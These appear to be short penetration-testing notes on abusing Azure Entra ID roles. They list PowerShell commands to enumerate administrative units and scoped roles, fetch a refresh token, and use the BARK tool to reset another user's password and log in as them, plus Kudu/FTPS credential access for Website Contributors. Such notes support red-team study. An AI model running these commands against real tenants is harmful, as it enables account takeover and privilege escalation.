Role abuse
Website Contributors
- Access to the web apps publishing profile & SCM/Kudu (env vars, ssh)
- Retrieve the FTPS deployment URL, username and password
[[azure_webapps#Kudu / SCM]]
User Administrator
- typical for Help Desk and stuff
Enumerate
List admin units to identify a high privilege target
Check if that Administrative Unit has scopes roles
Get-MgBetaDirectoryAdministrativeUnitScopedRoleMember -AdministrativeUnitId
<AUID> | Select-Object roleMemberInfo,roleId -ExpandProperty roleMemberInfo
Resolve the roleID
$roleId = "<ID>"
$directoryRoles = GetMgDirectoryRole | Where-Object { $_.Id -eq $roleId }
$directoryRoles | Format-List *
If you have User Administrator you can reset the password of users.
Now you know the role, grab members of that administrative unit
Get-MgDirectoryAdministrativeUnitMember -AdministrativeUnitId <ID> | Select * -ExpandProperty additionalProperties
Reset the password: https://github.com/BloodHoundAD/BARK
Get BARK
Get refresh token
$RefreshToken = Get-EntraRefreshTokenWithUsernamePassword -username "User1@domain.com" -password "passpass" -TenantID "<tenantid>"
Set the password with BARK
Set-EntraUserPassword -TargetUserId 'user2@domain.com' -Token $RefreshToken.access_token -Password '<new_password>'
204 no content - this is chill
Login as user